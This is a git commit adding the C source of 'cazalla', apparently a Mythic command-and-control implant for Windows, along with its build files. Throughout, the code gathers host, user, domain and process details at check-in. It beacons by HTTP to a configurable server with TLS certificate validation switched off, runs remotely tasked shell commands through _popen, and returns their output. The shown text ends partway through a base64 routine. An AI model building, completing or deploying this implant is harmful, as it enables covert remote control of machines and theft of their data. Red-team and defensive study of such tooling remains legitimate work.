v0.3:Conectividad y exit

This commit is contained in:
marcos.luna
2025-04-02 16:45:10 +02:00
commit c29f059fff
46 changed files with 2485 additions and 0 deletions
View File
+25
View File
@@ -0,0 +1,25 @@
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
CMD ["python3", "main.py"]
View File
+20
View File
@@ -0,0 +1,20 @@
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
@@ -0,0 +1,115 @@
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
@@ -0,0 +1,13 @@
#pragma once
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port %PORT%
#define sleep_time %SLEEPTIME%
@@ -0,0 +1,43 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
@@ -0,0 +1,26 @@
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif
@@ -0,0 +1,37 @@
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE)
rutina();
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
@@ -0,0 +1,35 @@
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#endif
@@ -0,0 +1,35 @@
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H
@@ -0,0 +1,196 @@
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
}
@@ -0,0 +1,17 @@
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#endif
@@ -0,0 +1,78 @@
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif
@@ -0,0 +1,38 @@
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos);
@@ -0,0 +1,42 @@
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#endif
@@ -0,0 +1,12 @@
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
}
@@ -0,0 +1,122 @@
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
@@ -0,0 +1,31 @@
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#endif
@@ -0,0 +1,123 @@
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
}
@@ -0,0 +1,16 @@
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif
@@ -0,0 +1,193 @@
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) {
size_t ret;
ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out;
SIZE_T elen;
SIZE_T i;
SIZE_T j;
SIZE_T v;
if (in == NULL || len == 0) {
return NULL;
}
elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) {
return NULL;
}
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len;
SIZE_T ret;
SIZE_T i;
if (in == NULL) {
return 0;
}
len = strlen(in);
ret = len / 4 * 3;
